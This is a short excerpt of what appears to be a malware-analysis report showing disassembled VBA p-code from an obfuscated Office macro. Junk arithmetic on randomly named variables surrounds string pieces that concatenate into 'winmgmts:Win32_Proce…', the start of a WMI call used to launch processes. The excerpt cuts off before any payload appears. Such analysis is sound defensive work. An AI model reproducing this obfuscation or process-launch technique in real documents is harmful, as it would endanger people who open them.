' 	LitDI4 0x697D 0x071C 
' 	Add 
' 	LitDI4 0xABAA 0x1C9D 
' 	Ld wU_oC4A 
' 	Div 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	St aBAU1QBw 
' Line #79:
' 	Ld w44xCUA 
' 	LitDI4 0x75DB 0x1FD6 
' 	Add 
' 	Ld VXABAQA4 
' 	Add 
' 	LitDI4 0xF492 0x03A1 
' 	Add 
' 	Coerce (Byte) 
' 	St qD1AAQA 
' Line #80:
' 	LitDI4 0x6D01 0x3330 
' 	Case 
' 	CaseDone 
' Line #81:
' 	Ld JAGDAAAB 
' 	St bDDXDQZA 
' Line #82:
' 	Ld lAABQU 
' 	Ld vkADx_ 
' 	Coerce (Sng) 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	St JAC_wxQA 
' Line #83:
' 	EndSelect 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	LineCont 0x0008 06 00 00 00 0C 00 00 00
' 	SetStmt 
' 	LitStr 0x0002 "wi"
' 	LitStr 0x0002 "nm"
' 	Add 
' 	LitStr 0x0003 "gmt"
' 	Add 
' 	LitStr 0x0006 "s:Win3"
' 	Add 
' 	LitStr 0x0007 "2_Proce"
…

Open this report in the interactive analyzer, or submit your own file for analysis.